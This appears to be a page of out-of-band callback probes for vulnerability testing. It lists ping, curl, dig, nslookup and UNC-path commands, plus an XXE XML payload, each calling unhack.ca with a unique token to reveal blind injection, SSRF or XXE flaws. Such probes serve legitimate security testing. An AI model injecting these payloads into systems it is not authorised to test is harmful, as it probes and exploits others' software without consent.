$ ping -c1 -p 0070a7380a0bfab4124472626d9a5a00 unhack.ca
 

$ curl http://unhack.ca/p/70a7380a0bfab4124472626d9a5a
 

$ dig 70a7380a0bfab4124472626d9a5a @unhack.ca
 

$ dig 70a7380a0bfab4124472626d9a5a.ns.unhack.ca
 

C:\> nslookup 70a7380a0bfab4124472626d9a5a unhack.ca
 

C:\> type \\unhack.ca\70a7380a0bfab4124472626d9a5a\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/70a7380a0bfab4124472626d9a5a">]>
    <foo>&xxe;</foo>